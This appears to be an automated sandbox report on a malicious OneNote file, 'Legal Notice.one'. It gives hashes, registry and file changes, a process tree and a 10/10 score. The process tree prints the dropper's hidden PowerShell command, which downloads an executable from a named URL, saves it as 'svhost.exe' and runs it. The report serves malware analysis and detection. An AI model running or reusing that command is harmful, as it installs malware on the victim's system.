bf8c7c35cb5b8f47ad7fe7e89322960e105efa754360953ca854925a6b914092

Resubmissions

20/03/2023, 10:38

230320-mphanada32 4

20/03/2023, 10:35

230320-mmszdafa2x 1

08/02/2023, 12:12

230208-pddt7sab3y 10

02/02/2023, 19:16

230202-xytp6ahh4w 1

Analysis

max time kernel
75s
max time network
74s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08/02/2023, 12:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Legal Notice.one
Size

639KB
MD5

089299c68133a02272f7a05a66688c17
SHA1

3f458042e06bb5c9422d5950478003d058d3facc
SHA256

bf8c7c35cb5b8f47ad7fe7e89322960e105efa754360953ca854925a6b914092
SHA512

e9f9c1b9b4f6e53f2a8d456180573f28740eee114846e943fd4d9958dd69f6a1db68f9db2878e3e4f823d24b33edf6b619cdffc9064c6ffc114190e654a2ca5c
SSDEEP

6144:BN1HPGSx/IRbNPYCVa/68JDjUFQ5uB3c0U9lQcUgAyap70nGWOFX0YdXb9pYzjHc:4P

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	1700	powershell.exe
12	1700	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneNote 2010 Screen Clipper and Launcher.lnk	ONENOTE.EXE

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\ACADEMIC.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\BLANK.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\BUSINESS.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\DESIGNER.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\PLANNERS.ONE	ONENOTE.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	ONENOTE.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	ONENOTE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	ONENOTE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	ONENOTE.EXE

Modifies registry class 6 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F2A7EE29-8BF6-4A6D-83F1-098E366C709C}\1.0\ = "Microsoft OneNote 12.0 Object Library"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F2A7EE29-8BF6-4A6D-83F1-098E366C709C}\1.0\0\win32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONENOTE.EXE\\2"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.0\ = "Microsoft OneNote 14.0 Object Library"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.0\0\win32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONENOTE.EXE\\3"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	ONENOTE.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1992	ONENOTE.EXE
1992	ONENOTE.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1700	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: 33	556	ONENOTEM.EXE
Token: SeIncBasePriorityPrivilege	556	ONENOTEM.EXE
Token: SeDebugPrivilege	1700	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
556	ONENOTEM.EXE

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
556	ONENOTEM.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE
1992	ONENOTE.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 556	1992	ONENOTE.EXE	31
PID 1992 wrote to memory of 556	1992	ONENOTE.EXE	31
PID 1992 wrote to memory of 556	1992	ONENOTE.EXE	31
PID 1992 wrote to memory of 556	1992	ONENOTE.EXE	31
PID 1992 wrote to memory of 1700	1992	ONENOTE.EXE	33
PID 1992 wrote to memory of 1700	1992	ONENOTE.EXE	33
PID 1992 wrote to memory of 1700	1992	ONENOTE.EXE	33
PID 1992 wrote to memory of 1700	1992	ONENOTE.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE" "C:\Users\Admin\AppData\Local\Temp\Legal Notice.one"
1⤵
- Drops startup file
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE
  /tsr
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:556
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\Admin\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\svhost.exe'
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\OneNote\14.0\NT\0\Review.lnk

Filesize
2KB

MD5
ef7f9739337bc657cd0a63e32e27d0a1

SHA1
bf67555a7272f24ceb57b1c49e4cf37dc17b246f

SHA256
a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c

SHA512
e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada

Download Submit
memory/1700-63-0x000000006BB10000-0x000000006C0BB000-memory.dmp

Filesize
5.7MB

Download
memory/1700-64-0x000000006BB10000-0x000000006C0BB000-memory.dmp

Filesize
5.7MB

Download
memory/1992-54-0x00000000724E1000-0x00000000724E3000-memory.dmp

Filesize
8KB

Download
memory/1992-55-0x0000000074F01000-0x0000000074F03000-memory.dmp

Filesize
8KB

Download
memory/1992-56-0x00000000734CD000-0x00000000734D8000-memory.dmp

Filesize
44KB

Download
memory/1992-59-0x00000000734CD000-0x00000000734D8000-memory.dmp

Filesize
44KB

Download